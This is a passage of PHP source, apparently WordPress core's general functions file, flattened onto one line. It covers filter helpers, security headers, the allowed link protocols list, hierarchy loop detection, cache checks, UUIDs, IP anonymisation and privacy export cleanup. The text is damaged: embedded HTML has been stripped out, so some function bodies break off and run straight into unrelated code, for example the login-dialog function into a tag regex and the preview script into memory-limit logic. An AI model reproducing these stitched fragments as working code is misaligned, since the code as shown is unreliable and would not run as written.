WordPress.NamingConventions.ValidFunctionName.FunctionDoubleUnderscore,PHPCompatibility.FunctionNameRestrictions.ReservedFunctionNames.FunctionDoubleUnderscore return array(); } /** * Returns null. * * Useful for returning null to filters easily. * * @since 3.4.0 * * @return null Null value. */ function __return_null() { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionDoubleUnderscore,PHPCompatibility.FunctionNameRestrictions.ReservedFunctionNames.FunctionDoubleUnderscore return null; } /** * Returns an empty string. * * Useful for returning an empty string to filters easily. * * @since 3.7.0 * * @see __return_null() * * @return string Empty string. */ function __return_empty_string() { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionDoubleUnderscore,PHPCompatibility.FunctionNameRestrictions.ReservedFunctionNames.FunctionDoubleUnderscore return ''; } /** * Sends a HTTP header to disable content type sniffing in browsers which support it. * * @since 3.0.0 * * @see https://blogs.msdn.com/ie/archive/2008/07/02/ie8-security-part-v-comprehensive-protection.aspx * @see https://src.chromium.org/viewvc/chrome?view=rev&revision=6985 */ function send_nosniff_header() { header( 'X-Content-Type-Options: nosniff' ); } /** * Returns a MySQL expression for selecting the week number based on the start_of_week option. * * @ignore * @since 3.0.0 * * @param string $column Database column. * @return string SQL clause. */ function _wp_mysql_week( $column ) { $start_of_week = (int) get_option( 'start_of_week' ); switch ( $start_of_week ) { case 1: return "WEEK( $column, 1 )"; case 2: case 3: case 4: case 5: case 6: return "WEEK( DATE_SUB( $column, INTERVAL $start_of_week DAY ), 0 )"; case 0: default: return "WEEK( $column, 0 )"; } } /** * Finds hierarchy loops using a callback function that maps object IDs to parent IDs. * * @since 3.1.0 * @access private * * @param callable $callback Function that accepts ( ID, $callback_args ) and outputs parent_ID. * @param int $start The ID to start the loop check at. * @param int $start_parent The parent_ID of $start to use instead of calling $callback( $start ). * Use null to always use $callback. * @param array $callback_args Optional. Additional arguments to send to $callback. Default empty array. * @return array IDs of all members of loop. */ function wp_find_hierarchy_loop( $callback, $start, $start_parent, $callback_args = array() ) { $override = is_null( $start_parent ) ? array() : array( $start => $start_parent ); $arbitrary_loop_member = wp_find_hierarchy_loop_tortoise_hare( $callback, $start, $override, $callback_args ); if ( ! $arbitrary_loop_member ) { return array(); } return wp_find_hierarchy_loop_tortoise_hare( $callback, $arbitrary_loop_member, $override, $callback_args, true ); } /** * Uses the "The Tortoise and the Hare" algorithm to detect loops. * * For every step of the algorithm, the hare takes two steps and the tortoise one. * If the hare ever laps the tortoise, there must be a loop. * * @since 3.1.0 * @access private * * @param callable $callback Function that accepts ( ID, callback_arg, ... ) and outputs parent_ID. * @param int $start The ID to start the loop check at. * @param array $override Optional. An array of ( ID => parent_ID, ... ) to use instead of $callback. * Default empty array. * @param array $callback_args Optional. Additional arguments to send to $callback. Default empty array. * @param bool $_return_loop Optional. Return loop members or just detect presence of loop? Only set * to true if you already know the given $start is part of a loop (otherwise * the returned array might include branches). Default false. * @return mixed Scalar ID of some arbitrary member of the loop, or array of IDs of all members of loop if * $_return_loop */ function wp_find_hierarchy_loop_tortoise_hare( $callback, $start, $override = array(), $callback_args = array(), $_return_loop = false ) { $tortoise = $start; $hare = $start; $evanescent_hare = $start; $return = array(); // Set evanescent_hare to one past hare. Increment hare two steps. while ( $tortoise && ( $evanescent_hare = isset( $override[ $hare ] ) ? $override[ $hare ] : call_user_func_array( $callback, array_merge( array( $hare ), $callback_args ) ) ) && ( $hare = isset( $override[ $evanescent_hare ] ) ? $override[ $evanescent_hare ] : call_user_func_array( $callback, array_merge( array( $evanescent_hare ), $callback_args ) ) ) ) { if ( $_return_loop ) { $return[ $tortoise ] = true; $return[ $evanescent_hare ] = true; $return[ $hare ] = true; } // Tortoise got lapped - must be a loop. if ( $tortoise === $evanescent_hare || $tortoise === $hare ) { return $_return_loop ? $return : $tortoise; } // Increment tortoise by one step. $tortoise = isset( $override[ $tortoise ] ) ? $override[ $tortoise ] : call_user_func_array( $callback, array_merge( array( $tortoise ), $callback_args ) ); } return false; } /** * Sends a HTTP header to limit rendering of pages to same origin iframes. * * @since 3.1.3 * * @see https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options */ function send_frame_options_header() { header( 'X-Frame-Options: SAMEORIGIN' ); } /** * Sends a referrer policy header so referrers are not sent externally from administration screens. * * @since 4.9.0 * @since 6.8.0 This function was moved from `wp-admin/includes/misc.php` to `wp-includes/functions.php`. */ function wp_admin_headers() { $policy = 'strict-origin-when-cross-origin'; /** * Filters the admin referrer policy header value. * * @since 4.9.0 * @since 4.9.5 The default value was changed to 'strict-origin-when-cross-origin'. * * @link https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referrer-Policy * * @param string $policy The admin referrer policy header value. Default 'strict-origin-when-cross-origin'. */ $policy = apply_filters( 'admin_referrer_policy', $policy ); header( sprintf( 'Referrer-Policy: %s', $policy ) ); } /** * Retrieves a list of protocols to allow in HTML attributes. * * @since 3.3.0 * @since 4.3.0 Added 'webcal' to the protocols array. * @since 4.7.0 Added 'urn' to the protocols array. * @since 5.3.0 Added 'sms' to the protocols array. * @since 5.6.0 Added 'irc6' and 'ircs' to the protocols array. * * @see wp_kses() * @see esc_url() * * @return string[] Array of allowed protocols. Defaults to an array containing 'http', 'https', * 'ftp', 'ftps', 'mailto', 'news', 'irc', 'irc6', 'ircs', 'gopher', 'nntp', 'feed', * 'telnet', 'mms', 'rtsp', 'sms', 'svn', 'tel', 'fax', 'xmpp', 'webcal', and 'urn'. * This covers all common link protocols, except for 'javascript' which should not * be allowed for untrusted users. */ function wp_allowed_protocols() { static $protocols = array(); if ( empty( $protocols ) ) { $protocols = array( 'http', 'https', 'ftp', 'ftps', 'mailto', 'news', 'irc', 'irc6', 'ircs', 'gopher', 'nntp', 'feed', 'telnet', 'mms', 'rtsp', 'sms', 'svn', 'tel', 'fax', 'xmpp', 'webcal', 'urn' ); } if ( ! did_action( 'wp_loaded' ) ) { /** * Filters the list of protocols allowed in HTML attributes. * * @since 3.0.0 * * @param string[] $protocols Array of allowed protocols e.g. 'http', 'ftp', 'tel', and more. */ $protocols = array_unique( (array) apply_filters( 'kses_allowed_protocols', $protocols ) ); } return $protocols; } /** * Returns a comma-separated string or array of functions that have been called to get * to the current point in code. * * @since 3.4.0 * * @see https://core.trac.wordpress.org/ticket/19589 * * @param string $ignore_class Optional. A class to ignore all function calls within - useful * when you want to just give info about the callee. Default null. * @param int $skip_frames Optional. A number of stack frames to skip - useful for unwinding * back to the source of the issue. Default 0. * @param bool $pretty Optional. Whether you want a comma separated string instead of * the raw array returned. Default true. * @return string|array Either a string containing a reversed comma separated trace or an array * of individual calls. */ function wp_debug_backtrace_summary( $ignore_class = null, $skip_frames = 0, $pretty = true ) { static $truncate_paths; $trace = debug_backtrace( false ); $caller = array(); $check_class = ! is_null( $ignore_class ); ++$skip_frames; // Skip this function. if ( ! isset( $truncate_paths ) ) { $truncate_paths = array( wp_normalize_path( WP_CONTENT_DIR ), wp_normalize_path( ABSPATH ), ); } foreach ( $trace as $call ) { if ( $skip_frames > 0 ) { --$skip_frames; } elseif ( isset( $call['class'] ) ) { if ( $check_class && $ignore_class === $call['class'] ) { continue; // Filter out calls. } $caller[] = "{$call['class']}{$call['type']}{$call['function']}"; } else { if ( in_array( $call['function'], array( 'do_action', 'apply_filters', 'do_action_ref_array', 'apply_filters_ref_array' ), true ) ) { $caller[] = "{$call['function']}('{$call['args'][0]}')"; } elseif ( in_array( $call['function'], array( 'include', 'include_once', 'require', 'require_once' ), true ) ) { $filename = isset( $call['args'][0] ) ? $call['args'][0] : ''; $caller[] = $call['function'] . "('" . str_replace( $truncate_paths, '', wp_normalize_path( $filename ) ) . "')"; } else { $caller[] = $call['function']; } } } if ( $pretty ) { return implode( ', ', array_reverse( $caller ) ); } else { return $caller; } } /** * Retrieves IDs that are not already present in the cache. * * @since 3.4.0 * @since 6.1.0 This function is no longer marked as "private". * * @param int[] $object_ids Array of IDs. * @param string $cache_group The cache group to check against. * @return int[] Array of IDs not present in the cache. */ function _get_non_cached_ids( $object_ids, $cache_group ) { $object_ids = array_filter( $object_ids, '_validate_cache_id' ); $object_ids = array_unique( array_map( 'intval', $object_ids ), SORT_NUMERIC ); if ( empty( $object_ids ) ) { return array(); } $non_cached_ids = array(); $cache_values = wp_cache_get_multiple( $object_ids, $cache_group ); foreach ( $cache_values as $id => $value ) { if ( false === $value ) { $non_cached_ids[] = (int) $id; } } return $non_cached_ids; } /** * Checks whether the given cache ID is either an integer or an integer-like string. * * Both `16` and `"16"` are considered valid, other numeric types and numeric strings * (`16.3` and `"16.3"`) are considered invalid. * * @since 6.3.0 * * @param mixed $object_id The cache ID to validate. * @return bool Whether the given $object_id is a valid cache ID. */ function _validate_cache_id( $object_id ) { /* * filter_var() could be used here, but the `filter` PHP extension * is considered optional and may not be available. */ if ( is_int( $object_id ) || ( is_string( $object_id ) && (string) (int) $object_id === $object_id ) ) { return true; } /* translators: %s: The type of the given object ID. */ $message = sprintf( __( 'Object ID must be an integer, %s given.' ), gettype( $object_id ) ); _doing_it_wrong( '_get_non_cached_ids', $message, '6.3.0' ); return false; } /** * Tests if the current device has the capability to upload files. * * @since 3.4.0 * @access private * * @return bool Whether the device is able to upload files. */ function _device_can_upload() { if ( ! wp_is_mobile() ) { return true; } $ua = $_SERVER['HTTP_USER_AGENT']; if ( str_contains( $ua, 'iPhone' ) || str_contains( $ua, 'iPad' ) || str_contains( $ua, 'iPod' ) ) { return preg_match( '#OS ([\d_]+) like Mac OS X#', $ua, $version ) && version_compare( $version[1], '6', '>=' ); } return true; } /** * Tests if a given path is a stream URL * * @since 3.5.0 * * @param string $path The resource path or URL. * @return bool True if the path is a stream URL. */ function wp_is_stream( $path ) { $scheme_separator = strpos( $path, '://' ); if ( false === $scheme_separator ) { // $path isn't a stream. return false; } $stream = substr( $path, 0, $scheme_separator ); return in_array( $stream, stream_get_wrappers(), true ); } /** * Tests if the supplied date is valid for the Gregorian calendar. * * @since 3.5.0 * * @link https://www.php.net/manual/en/function.checkdate.php * * @param int $month Month number. * @param int $day Day number. * @param int $year Year number. * @param string $source_date The date to filter. * @return bool True if valid date, false if not valid date. */ function wp_checkdate( $month, $day, $year, $source_date ) { /** * Filters whether the given date is valid for the Gregorian calendar. * * @since 3.5.0 * * @param bool $checkdate Whether the given date is valid. * @param string $source_date Date to check. */ return apply_filters( 'wp_checkdate', checkdate( $month, $day, $year ), $source_date ); } /** * Loads the auth check for monitoring whether the user is still logged in. * * Can be disabled with remove_action( 'admin_enqueue_scripts', 'wp_auth_check_load' ); * * This is disabled for certain screens where a login screen could cause an * inconvenient interruption. A filter called {@see 'wp_auth_check_load'} can be used * for fine-grained control. * * @since 3.6.0 */ function wp_auth_check_load() { if ( ! is_admin() && ! is_user_logged_in() ) { return; } if ( defined( 'IFRAME_REQUEST' ) ) { return; } $screen = get_current_screen(); $hidden = array( 'update', 'update-network', 'update-core', 'update-core-network', 'upgrade', 'upgrade-network', 'network' ); $show = ! in_array( $screen->id, $hidden, true ); /** * Filters whether to load the authentication check. * * Returning a falsey value from the filter will effectively short-circuit * loading the authentication check. * * @since 3.6.0 * * @param bool $show Whether to load the authentication check. * @param WP_Screen $screen The current screen object. */ if ( apply_filters( 'wp_auth_check_load', $show, $screen ) ) { wp_enqueue_style( 'wp-auth-check' ); wp_enqueue_script( 'wp-auth-check' ); add_action( 'admin_print_footer_scripts', 'wp_auth_check_html', 5 ); add_action( 'wp_print_footer_scripts', 'wp_auth_check_html', 5 ); } } /** * Outputs the HTML that shows the wp-login dialog when the user is no longer logged in. * * @since 3.6.0 */ function wp_auth_check_html() { $login_url = wp_login_url(); $current_domain = ( is_ssl() ? 'https://' : 'http://' ) . $_SERVER['HTTP_HOST']; $same_domain = str_starts_with( $login_url, $current_domain ); /** * Filters whether the authentication check originated at the same domain. * * @since 3.6.0 * * @param bool $same_domain Whether the authentication check originated at the same domain. */ $same_domain = apply_filters( 'wp_auth_check_same_domain', $same_domain ); $wrap_class = $same_domain ? 'hidden' : 'hidden fallback'; ?>
    '1', 'wp_lang' => get_user_locale(), ), $login_url ); ?>

    [\s\S]*<\/%1$s>|\s*\/>)', tag_escape( $tag ) ); } /** * Indicates if a given slug for a character set represents the UTF-8 * text encoding. If not provided, examines the current blog's charset. * * A charset is considered to represent UTF-8 if it is a case-insensitive * match of "UTF-8" with or without the hyphen. * * Example: * * true === is_utf8_charset( 'UTF-8' ); * true === is_utf8_charset( 'utf8' ); * false === is_utf8_charset( 'latin1' ); * false === is_utf8_charset( 'UTF 8' ); * * // Only strings match. * false === is_utf8_charset( [ 'charset' => 'utf-8' ] ); * * // Without a given charset, it depends on the site option "blog_charset". * $is_utf8 = is_utf8_charset(); * * @since 6.6.0 * @since 6.6.1 A wrapper for _is_utf8_charset * * @see _is_utf8_charset * * @param string|null $blog_charset Optional. Slug representing a text character encoding, or "charset". * E.g. "UTF-8", "Windows-1252", "ISO-8859-1", "SJIS". * Default value is to infer from "blog_charset" option. * @return bool Whether the slug represents the UTF-8 encoding. */ function is_utf8_charset( $blog_charset = null ) { return _is_utf8_charset( $blog_charset ?? get_option( 'blog_charset' ) ); } /** * Retrieves a canonical form of the provided charset appropriate for passing to PHP * functions such as htmlspecialchars() and charset HTML attributes. * * @since 3.6.0 * @access private * * @see https://core.trac.wordpress.org/ticket/23688 * * @param string $charset A charset name, e.g. "UTF-8", "Windows-1252", "SJIS". * @return string The canonical form of the charset. */ function _canonical_charset( $charset ) { if ( is_utf8_charset( $charset ) ) { return 'UTF-8'; } /* * Normalize the ISO-8859-1 family of languages. * * This is not required for htmlspecialchars(), as it properly recognizes all of * the input character sets that here are transformed into "ISO-8859-1". * * @todo Should this entire check be removed since it's not required for the stated purpose? * @todo Should WordPress transform other potential charset equivalents, such as "latin1"? */ if ( ( 0 === strcasecmp( 'iso-8859-1', $charset ) ) || ( 0 === strcasecmp( 'iso8859-1', $charset ) ) ) { return 'ISO-8859-1'; } return $charset; } /** * Sets the mbstring internal encoding to a binary safe encoding when func_overload * is enabled. * * When mbstring.func_overload is in use for multi-byte encodings, the results from * strlen() and similar functions respect the utf8 characters, causing binary data * to return incorrect lengths. * * This function overrides the mbstring encoding to a binary-safe encoding, and * resets it to the users expected encoding afterwards through the * `reset_mbstring_encoding` function. * * It is safe to recursively call this function, however each * `mbstring_binary_safe_encoding()` call must be followed up with an equal number * of `reset_mbstring_encoding()` calls. * * @since 3.7.0 * * @see reset_mbstring_encoding() * * @param bool $reset Optional. Whether to reset the encoding back to a previously-set encoding. * Default false. */ function mbstring_binary_safe_encoding( $reset = false ) { static $encodings = array(); static $overloaded = null; if ( is_null( $overloaded ) ) { if ( function_exists( 'mb_internal_encoding' ) && ( (int) ini_get( 'mbstring.func_overload' ) & 2 ) // phpcs:ignore PHPCompatibility.IniDirectives.RemovedIniDirectives.mbstring_func_overloadDeprecated ) { $overloaded = true; } else { $overloaded = false; } } if ( false === $overloaded ) { return; } if ( ! $reset ) { $encoding = mb_internal_encoding(); array_push( $encodings, $encoding ); mb_internal_encoding( 'ISO-8859-1' ); } if ( $reset && $encodings ) { $encoding = array_pop( $encodings ); mb_internal_encoding( $encoding ); } } /** * Resets the mbstring internal encoding to a users previously set encoding. * * @see mbstring_binary_safe_encoding() * * @since 3.7.0 */ function reset_mbstring_encoding() { mbstring_binary_safe_encoding( true ); } /** * Filters/validates a variable as a boolean. * * Alternative to `filter_var( $value, FILTER_VALIDATE_BOOLEAN )`. * * @since 4.0.0 * * @param mixed $value Boolean value to validate. * @return bool Whether the value is validated. */ function wp_validate_boolean( $value ) { if ( is_bool( $value ) ) { return $value; } if ( is_string( $value ) && 'false' === strtolower( $value ) ) { return false; } return (bool) $value; } /** * Deletes a file. * * @since 4.2.0 * @since 6.7.0 A return value was added. * * @param string $file The path to the file to delete. * @return bool True on success, false on failure. */ function wp_delete_file( $file ) { /** * Filters the path of the file to delete. * * @since 2.1.0 * * @param string $file Path to the file to delete. */ $delete = apply_filters( 'wp_delete_file', $file ); if ( ! empty( $delete ) ) { return @unlink( $delete ); } return false; } /** * Deletes a file if its path is within the given directory. * * @since 4.9.7 * * @param string $file Absolute path to the file to delete. * @param string $directory Absolute path to a directory. * @return bool True on success, false on failure. */ function wp_delete_file_from_directory( $file, $directory ) { if ( wp_is_stream( $file ) ) { $real_file = $file; $real_directory = $directory; } else { $real_file = realpath( wp_normalize_path( $file ) ); $real_directory = realpath( wp_normalize_path( $directory ) ); } if ( false !== $real_file ) { $real_file = wp_normalize_path( $real_file ); } if ( false !== $real_directory ) { $real_directory = wp_normalize_path( $real_directory ); } if ( false === $real_file || false === $real_directory || ! str_starts_with( $real_file, trailingslashit( $real_directory ) ) ) { return false; } return wp_delete_file( $file ); } /** * Outputs a small JS snippet on preview tabs/windows to remove `window.name` when a user is navigating to another page. * * This prevents reusing the same tab for a preview when the user has navigated away. * * @since 4.3.0 * * @global WP_Post $post Global post object. */ function wp_post_preview_js() { global $post; if ( ! is_preview() || empty( $post ) ) { return; } // Has to match the window name used in post_submit_meta_box(). $name = 'wp-preview-' . (int) $post->ID; ob_start(); ?> $wp_max_limit_int && $filtered_limit_int > $current_limit_int ) ) { if ( false !== ini_set( 'memory_limit', $filtered_limit ) ) { return $filtered_limit; } else { return false; } } elseif ( -1 === $wp_max_limit_int || $wp_max_limit_int > $current_limit_int ) { if ( false !== ini_set( 'memory_limit', $wp_max_limit ) ) { return $wp_max_limit; } else { return false; } } return false; } /** * Generates a random UUID (version 4). * * @since 4.7.0 * * @return string UUID. */ function wp_generate_uuid4() { return sprintf( '%04x%04x-%04x-%04x-%04x-%04x%04x%04x', mt_rand( 0, 0xffff ), mt_rand( 0, 0xffff ), mt_rand( 0, 0xffff ), mt_rand( 0, 0x0fff ) | 0x4000, mt_rand( 0, 0x3fff ) | 0x8000, mt_rand( 0, 0xffff ), mt_rand( 0, 0xffff ), mt_rand( 0, 0xffff ) ); } /** * Validates that a UUID is valid. * * @since 4.9.0 * * @param mixed $uuid UUID to check. * @param int $version Specify which version of UUID to check against. Default is none, * to accept any UUID version. Otherwise, only version allowed is `4`. * @return bool The string is a valid UUID or false on failure. */ function wp_is_uuid( $uuid, $version = null ) { if ( ! is_string( $uuid ) ) { return false; } if ( is_numeric( $version ) ) { if ( 4 !== (int) $version ) { _doing_it_wrong( __FUNCTION__, __( 'Only UUID V4 is supported at this time.' ), '4.9.0' ); return false; } $regex = '/^[0-9a-f]{8}-[0-9a-f]{4}-4[0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}$/'; } else { $regex = '/^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/'; } return (bool) preg_match( $regex, $uuid ); } /** * Gets unique ID. * * This is a PHP implementation of Underscore's uniqueId method. A static variable * contains an integer that is incremented with each call. This number is returned * with the optional prefix. As such the returned value is not universally unique, * but it is unique across the life of the PHP process. * * @since 5.0.3 * * @param string $prefix Prefix for the returned ID. * @return string Unique ID. */ function wp_unique_id( $prefix = '' ) { static $id_counter = 0; return $prefix . (string) ++$id_counter; } /** * Generates an incremental ID that is independent per each different prefix. * * It is similar to `wp_unique_id`, but each prefix has its own internal ID * counter to make each prefix independent from each other. The ID starts at 1 * and increments on each call. The returned value is not universally unique, * but it is unique across the life of the PHP process and it's stable per * prefix. * * @since 6.4.0 * * @param string $prefix Optional. Prefix for the returned ID. Default empty string. * @return string Incremental ID per prefix. */ function wp_unique_prefixed_id( $prefix = '' ) { static $id_counters = array(); if ( ! is_string( $prefix ) ) { wp_trigger_error( __FUNCTION__, sprintf( 'The prefix must be a string. "%s" data type given.', gettype( $prefix ) ) ); $prefix = ''; } if ( ! isset( $id_counters[ $prefix ] ) ) { $id_counters[ $prefix ] = 0; } $id = ++$id_counters[ $prefix ]; return $prefix . (string) $id; } /** * Gets last changed date for the specified cache group. * * @since 4.7.0 * * @param string $group Where the cache contents are grouped. * @return string UNIX timestamp with microseconds representing when the group was last changed. */ function wp_cache_get_last_changed( $group ) { $last_changed = wp_cache_get( 'last_changed', $group ); if ( $last_changed ) { return $last_changed; } return wp_cache_set_last_changed( $group ); } /** * Sets last changed date for the specified cache group to now. * * @since 6.3.0 * * @param string $group Where the cache contents are grouped. * @return string UNIX timestamp when the group was last changed. */ function wp_cache_set_last_changed( $group ) { $previous_time = wp_cache_get( 'last_changed', $group ); $time = microtime(); wp_cache_set( 'last_changed', $time, $group ); /** * Fires after a cache group `last_changed` time is updated. * This may occur multiple times per page load and registered * actions must be performant. * * @since 6.3.0 * * @param string $group The cache group name. * @param string $time The new last changed time (msec sec). * @param string|false $previous_time The previous last changed time. False if not previously set. */ do_action( 'wp_cache_set_last_changed', $group, $time, $previous_time ); return $time; } /** * Sends an email to the old site admin email address when the site admin email address changes. * * @since 4.9.0 * * @param string $old_email The old site admin email address. * @param string $new_email The new site admin email address. * @param string $option_name The relevant database option name. */ function wp_site_admin_email_change_notification( $old_email, $new_email, $option_name ) { $send = true; // Don't send the notification to the default 'admin_email' value. if ( 'you@example.com' === $old_email ) { $send = false; } /** * Filters whether to send the site admin email change notification email. * * @since 4.9.0 * * @param bool $send Whether to send the email notification. * @param string $old_email The old site admin email address. * @param string $new_email The new site admin email address. */ $send = apply_filters( 'send_site_admin_email_change_email', $send, $old_email, $new_email ); if ( ! $send ) { return; } /* translators: Do not translate OLD_EMAIL, NEW_EMAIL, SITENAME, SITEURL: those are placeholders. */ $email_change_text = __( 'Hi, This notice confirms that the admin email address was changed on ###SITENAME###. The new admin email address is ###NEW_EMAIL###. This email has been sent to ###OLD_EMAIL### Regards, All at ###SITENAME### ###SITEURL###' ); $email_change_email = array( 'to' => $old_email, /* translators: Site admin email change notification email subject. %s: Site title. */ 'subject' => __( '[%s] Admin Email Changed' ), 'message' => $email_change_text, 'headers' => '', ); // Get site name. $site_name = wp_specialchars_decode( get_option( 'blogname' ), ENT_QUOTES ); /** * Filters the contents of the email notification sent when the site admin email address is changed. * * @since 4.9.0 * * @param array $email_change_email { * Used to build wp_mail(). * * @type string $to The intended recipient. * @type string $subject The subject of the email. * @type string $message The content of the email. * The following strings have a special meaning and will get replaced dynamically: * - ###OLD_EMAIL### The old site admin email address. * - ###NEW_EMAIL### The new site admin email address. * - ###SITENAME### The name of the site. * - ###SITEURL### The URL to the site. * @type string $headers Headers. * } * @param string $old_email The old site admin email address. * @param string $new_email The new site admin email address. */ $email_change_email = apply_filters( 'site_admin_email_change_email', $email_change_email, $old_email, $new_email ); $email_change_email['message'] = str_replace( '###OLD_EMAIL###', $old_email, $email_change_email['message'] ); $email_change_email['message'] = str_replace( '###NEW_EMAIL###', $new_email, $email_change_email['message'] ); $email_change_email['message'] = str_replace( '###SITENAME###', $site_name, $email_change_email['message'] ); $email_change_email['message'] = str_replace( '###SITEURL###', home_url(), $email_change_email['message'] ); wp_mail( $email_change_email['to'], sprintf( $email_change_email['subject'], $site_name ), $email_change_email['message'], $email_change_email['headers'] ); } /** * Returns an anonymized IPv4 or IPv6 address. * * @since 4.9.6 Abstracted from `WP_Community_Events::get_unsafe_client_ip()`. * * @param string $ip_addr The IPv4 or IPv6 address to be anonymized. * @param bool $ipv6_fallback Optional. Whether to return the original IPv6 address if the needed functions * to anonymize it are not present. Default false, return `::` (unspecified address). * @return string The anonymized IP address. */ function wp_privacy_anonymize_ip( $ip_addr, $ipv6_fallback = false ) { if ( empty( $ip_addr ) ) { return '0.0.0.0'; } // Detect what kind of IP address this is. $ip_prefix = ''; $is_ipv6 = substr_count( $ip_addr, ':' ) > 1; $is_ipv4 = ( 3 === substr_count( $ip_addr, '.' ) ); if ( $is_ipv6 && $is_ipv4 ) { // IPv6 compatibility mode, temporarily strip the IPv6 part, and treat it like IPv4. $ip_prefix = '::ffff:'; $ip_addr = preg_replace( '/^\[?[0-9a-f:]*:/i', '', $ip_addr ); $ip_addr = str_replace( ']', '', $ip_addr ); $is_ipv6 = false; } if ( $is_ipv6 ) { // IPv6 addresses will always be enclosed in [] if there's a port. $left_bracket = strpos( $ip_addr, '[' ); $right_bracket = strpos( $ip_addr, ']' ); $percent = strpos( $ip_addr, '%' ); $netmask = 'ffff:ffff:ffff:ffff:0000:0000:0000:0000'; // Strip the port (and [] from IPv6 addresses), if they exist. if ( false !== $left_bracket && false !== $right_bracket ) { $ip_addr = substr( $ip_addr, $left_bracket + 1, $right_bracket - $left_bracket - 1 ); } elseif ( false !== $left_bracket || false !== $right_bracket ) { // The IP has one bracket, but not both, so it's malformed. return '::'; } // Strip the reachability scope. if ( false !== $percent ) { $ip_addr = substr( $ip_addr, 0, $percent ); } // No invalid characters should be left. if ( preg_match( '/[^0-9a-f:]/i', $ip_addr ) ) { return '::'; } // Partially anonymize the IP by reducing it to the corresponding network ID. if ( function_exists( 'inet_pton' ) && function_exists( 'inet_ntop' ) ) { $ip_addr = inet_ntop( inet_pton( $ip_addr ) & inet_pton( $netmask ) ); if ( false === $ip_addr ) { return '::'; } } elseif ( ! $ipv6_fallback ) { return '::'; } } elseif ( $is_ipv4 ) { // Strip any port and partially anonymize the IP. $last_octet_position = strrpos( $ip_addr, '.' ); $ip_addr = substr( $ip_addr, 0, $last_octet_position ) . '.0'; } else { return '0.0.0.0'; } // Restore the IPv6 prefix to compatibility mode addresses. return $ip_prefix . $ip_addr; } /** * Returns uniform "anonymous" data by type. * * @since 4.9.6 * * @param string $type The type of data to be anonymized. * @param string $data Optional. The data to be anonymized. Default empty string. * @return string The anonymous data for the requested type. */ function wp_privacy_anonymize_data( $type, $data = '' ) { switch ( $type ) { case 'email': $anonymous = 'deleted@site.invalid'; break; case 'url': $anonymous = 'https://site.invalid'; break; case 'ip': $anonymous = wp_privacy_anonymize_ip( $data ); break; case 'date': $anonymous = '0000-00-00 00:00:00'; break; case 'text': /* translators: Deleted text. */ $anonymous = __( '[deleted]' ); break; case 'longtext': /* translators: Deleted long text. */ $anonymous = __( 'This content was deleted by the author.' ); break; default: $anonymous = ''; break; } /** * Filters the anonymous data for each type. * * @since 4.9.6 * * @param string $anonymous Anonymized data. * @param string $type Type of the data. * @param string $data Original data. */ return apply_filters( 'wp_privacy_anonymize_data', $anonymous, $type, $data ); } /** * Returns the directory used to store personal data export files. * * @since 4.9.6 * * @see wp_privacy_exports_url * * @return string Exports directory. */ function wp_privacy_exports_dir() { $upload_dir = wp_upload_dir(); $exports_dir = trailingslashit( $upload_dir['basedir'] ) . 'wp-personal-data-exports/'; /** * Filters the directory used to store personal data export files. * * @since 4.9.6 * @since 5.5.0 Exports now use relative paths, so changes to the directory * via this filter should be reflected on the server. * * @param string $exports_dir Exports directory. */ return apply_filters( 'wp_privacy_exports_dir', $exports_dir ); } /** * Returns the URL of the directory used to store personal data export files. * * @since 4.9.6 * * @see wp_privacy_exports_dir * * @return string Exports directory URL. */ function wp_privacy_exports_url() { $upload_dir = wp_upload_dir(); $exports_url = trailingslashit( $upload_dir['baseurl'] ) . 'wp-personal-data-exports/'; /** * Filters the URL of the directory used to store personal data export files. * * @since 4.9.6 * @since 5.5.0 Exports now use relative paths, so changes to the directory URL * via this filter should be reflected on the server. * * @param string $exports_url Exports directory URL. */ return apply_filters( 'wp_privacy_exports_url', $exports_url ); } /** * Schedules a `WP_Cron` job to delete expired export files. * * @since 4.9.6 */ function wp_schedule_delete_old_privacy_export_files() { if ( wp_installing() ) { return; } if ( ! wp_next_scheduled( 'wp_privacy_delete_old_export_files' ) ) { wp_schedule_event( time(), 'hourly', 'wp_privacy_delete_old_export_files' ); } } /** * Cleans up export files older than three days old. * * The export files are stored in `wp-content/uploads`, and are therefore publicly * accessible. A CSPRN is appended to the filename to mitigate the risk of an * unauthorized person downloading the file, but it is still possible. Deleting * the file after the data subject has had a chance to delete it adds an additional * layer of protection. * * @since 4.9.6 */ function wp_privacy_delete_old_export_files() { $exports_dir = wp_privacy_exports_dir(); if ( ! is_dir( $exports_dir ) ) { return; } require_once ABSPATH . 'wp-admin/includes/file.php'; $export_files = list_files( $exports_dir, 100, array( 'index.php' ) ); /** * Filters the lifetime, in seconds, of a personal data export file. * * By default, the lifetime is 3 days. Once the file reaches that age, it will automatically * be deleted by a cron job. * * @since 4.9.6 * * @param int $expiration The expiration age of the export, in seconds. */ $expiration = apply_filters( 'wp_privacy_export_expiration', 3 * DAY_IN_SECONDS ); foreach ( (array) $export_files as $export_file ) { $file_age_in_seconds = time() - filemtime( $export_file ); if ( $expiration < $file_age_in_seconds ) { unlink( $export_file ); } } } /** * Gets the URL to learn more about updating the PHP version the site is running on. * * This URL can be overridden by specifying an environment variable `WP_UPDATE_PHP_URL` or by using the * {@see 'wp_update_php_url'} filter. Providing an empty string is not allowed and will result in the * default URL being used. Furthermore the page the URL links to should preferably be localized in the * site language. * * @since 5.1.0 * * @return string URL to learn more about updating PHP. */ function wp_get_update_php_url() { $default_url = wp_get_default_update_php_url(); $update_url = $default_url; if ( false !== getenv( 'WP_UPDATE_PHP_URL' ) ) { $update_url = getenv( 'WP_UPDATE_PHP_URL' ); } /** * Filters the URL to learn more about updating the PHP version the site is running on. * * Providing an empty string is not allowed and will result in the default URL being used. Furthermore * the page the URL links to should preferably be localized in the site language. * * @since 5.1.0 * * @param string $update_url URL to learn more about updating PHP. */ $update_url = apply_filters( 'wp_update_php_url', $update_url ); if ( empty( $update_url ) ) { $update_url = $default_url; } return $update_url; } /** * Gets the default URL to learn more about updating the PHP version the site is running on. * * Do not use this function to retrieve this URL. Instead, use {@see wp_get_update_php_url()} when relying on the URL. * This function does not allow modifying the returned URL, and is only used to compare the actually used URL with the * default one. * * @since 5.1.0 * @access private * * @return string Default URL to learn more about updating PHP. */ function wp_get_default_update_php_url() { return _x( 